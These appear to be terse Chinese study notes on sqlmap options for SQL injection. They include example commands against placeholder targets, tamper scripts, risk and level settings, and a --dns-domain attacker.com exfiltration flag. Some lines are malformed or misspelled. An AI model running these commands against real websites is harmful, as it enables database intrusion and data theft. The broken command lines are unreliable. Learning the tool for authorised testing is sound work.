指定扫描的参数,使–level失效
-p “user-agent,referer”
排除指定的扫描参数
–level=5 --skip=“id,user-agent”
sqlmap -u "http://targeturl/param1/value*/param2/value2/"
MySQL<5.0>
Oracle<11i>
Microsoft SQL server<2005>
PostgreSQL
Microsoft Aceess
SQLite
等等
Linux
Windows
通常sqlmap使用负值使参数取值失效 id=12 → id=-13
bignum使用大数使参数值失效 id=999999999999
Logical使用布尔判断使取值失效 id=13 AND 18=19
榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
老版本mysql数据库需要开启此开关
SELECT 'foo' → SELECT CHAR(102)+CHAR(111)+CHAR(111)#按照原样子参数发送
sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix''')" --suffix "AND('abc'='abc''query = "SELECT * FROM users WHERE id=('1')AND ('abc'='abc')LIMIT 0,1";
sqlmap -u "http://?????" tamper="tamper/between.py/???.py" -v 3
1-5级(默认1)
/usr/share/sqlmap/xml/payloads 查看不同级别下发送不同的payload
1-4 (默认1 / 无害)
Risk升高可造成数据被篡改等风险(update)
B:Boolean-based blind
E:Error-based
U:Union query-based
S:Stracked queries(文件系统,操作系统,注册表必须)
T:Time-based blind
默认联合查询1-10列,随–level增加量最多支持50例
–onion-cols 6-9
联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
–union-char 123
--dns-domain attacker.com
--second-order http://1.1.1.1/b.php
数据库管理系统指纹信息
DBMS,操作系统,架构,补丁